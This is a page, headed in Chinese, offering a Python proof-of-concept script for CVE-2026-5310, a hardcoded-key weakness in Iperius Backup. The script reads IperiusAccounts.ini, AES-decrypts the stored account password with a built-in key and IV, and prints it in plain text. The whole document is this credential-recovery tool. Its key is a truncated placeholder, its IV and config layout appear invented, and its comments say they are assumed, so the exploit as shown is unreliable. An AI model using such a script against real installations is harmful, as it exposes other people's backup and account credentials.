CVE-2026-5310 Iperius Backup硬编码密钥漏洞

# Proof of Concept for CVE-2026-5310 # Hardcoded Cryptographic Key Usage in Iperius Backup import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import configparser # The hardcoded key extracted from the vulnerable binary # In a real scenario, this would be derived from reversing the specific version HARDCODED_KEY = b'IPERIUS_BACKUP_KEY_...' IV = b'INIT_VECTOR_16BY' def decrypt_config(file_path): config = configparser.ConfigParser() config.read(file_path) # Assuming the encrypted data is stored in a specific section/key encrypted_data = config.get('Accounts', 'EncryptedPassword') try: # Decode base64 if needed enc_bytes = base64.b64decode(encrypted_data) # Create cipher object cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, IV) # Decrypt and unpad decrypted = unpad(cipher.decrypt(enc_bytes), AES.block_size) print(f"[+] Decrypted Password: {decrypted.decode('utf-8')}") except Exception as e: print(f"[-] Decryption failed: {e}") if __name__ == "__main__": # Usage: python poc.py <path_to_IperiusAccounts.ini> import sys if len(sys.argv) > 1: decrypt_config(sys.argv[1]) else: print("Please provide the path to IperiusAccounts.ini")